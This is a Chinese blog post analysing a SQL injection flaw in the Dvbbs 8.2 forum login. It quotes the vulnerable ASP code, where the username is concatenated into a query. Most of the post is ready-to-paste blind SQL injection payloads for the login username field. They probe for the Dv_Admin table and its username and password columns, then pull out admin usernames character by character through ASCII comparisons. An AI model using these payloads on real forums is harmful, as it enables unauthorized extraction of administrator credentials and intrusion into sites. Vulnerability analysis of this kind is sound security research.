Dvbbs 8.2 login_sql注入漏洞探析
分析下”洞网/”,环境架好后.找到有问题的语句:
End If
Else
username=trim(Dvbbs.CheckStr(request("username")))
If ajaxPro Then username = unescape(username)
End If
username带入到查询语句如下:
If ChkUserLogin(username,password,mobile,usercookies,1)=false Then
Set chrs=Dvbbs.Execute("select Passport,IsChallenge from [Dv_User] where username='"&username&"' and IsChallenge=1")
If chrs.eof and chrs.bof Then
If Not ajaxPro Then
Dvbbs.AddErrCode(12)
Else
strString("本论坛不存在该用户名.@@@@0")'o
End If
Exit Function
End If
set chrs=nothing
End If
:
select Passport,IsChallenge from [Dv_User] where username='"&username&"' and IsChallenge=1
:
where' and (select count(*) from Dv_Admin)>0 and '1'='1 //判断是否存在表名Dv_Admin
,就会变成:
select Passport,IsChallenge from [Dv_User] where username=’ where' and (select count(*) from Dv_Admin)>0 and '1'='1 and IsChallenge=1
:
where
logins.asp用户名里填入:
where' and (select count(*) from Dv_Admin)>0 and '1'='1
.
,如果登录正常,说明,存在表单Dv_admin,
,如果出错提示,证明无此表单.
,构造语句:
where' and(select count(username) from Dv_admin)>0 and '1'='1
//判断是否存在列名username
where' and(select count(password) from Dv_admin)>0 and '1'='1
//判断是否存在列名password
where' and(select top 1 len(username) from dv_admin)>10 and '1'='1
where' and(select top 1 len(username) from dv_admin)<5 and '1'='1
where' and(select top 1 len(username) from dv_admin)=5 and '1'='1
//判断username列表值长度是否大于10,小于5,等于5
where' and (select top 1 asc(mid(username,1,1)) from dv_admin)>100 and 1=1 and '1'='1
where' and (select top 1 asc(mid(username,1,1)) from dv_admin)<97 and 1=1 and '1'='1
where' and (select top 1 asc(mid(username,1,1)) from dv_admin)=97 and 1=1 and '1'='1
//判断username列表的第一位字母的ASCII码值是否大于100,小于97,等于97
where' and (select top 1 asc(mid(username,2,1)) from dv_admin)>100 and 1=1 and '1'='1
where' and (select top 1 asc(mid(username,2,1)) from dv_admin)<97 and 1=1 and '1'='1
where' and (select top 1 asc(mid(username,2,1)) from dv_admin)=97 and 1=1 and '1'='1
//判断username列表的第二位字母的ASCII码值是否大于100,小于97,等于97
…….类推…
相关阅读:
- Windows Server 2008活动目录解析 (服务器管理-win2, 2008-8-08)
- 特征匹配检测难以识别SQL注入攻击 (妖界之箭, 2008-8-10)
- Dvbbs 8.2 login_sql注入漏洞探析 (妖界之箭, 2008-8-11)
导入论坛 引用链接 收藏 分享给好友 推荐到圈子 管理 举报
TAG: dvbbs Dvbbs login sql SQL 漏洞 探析
标题搜索
日历
|
|||||||||
| 日 | 一 | 二 | 三 | 四 | 五 | 六 | |||
| 1 | |||||||||
| 2 | 3 | 4 | 5 | 6 | 7 | 8 | |||
| 9 | 10 | 11 | 12 | 13 | 14 | 15 | |||
| 16 | 17 | 18 | 19 | 20 | 21 | 22 | |||
| 23 | 24 | 25 | 26 | 27 | 28 | 29 | |||
| 30 | |||||||||
我的存档
数据统计
- 访问量: 39306
- 日志数: 887
- 建立时间: 2007-08-10
- 更新时间: 2008-11-03
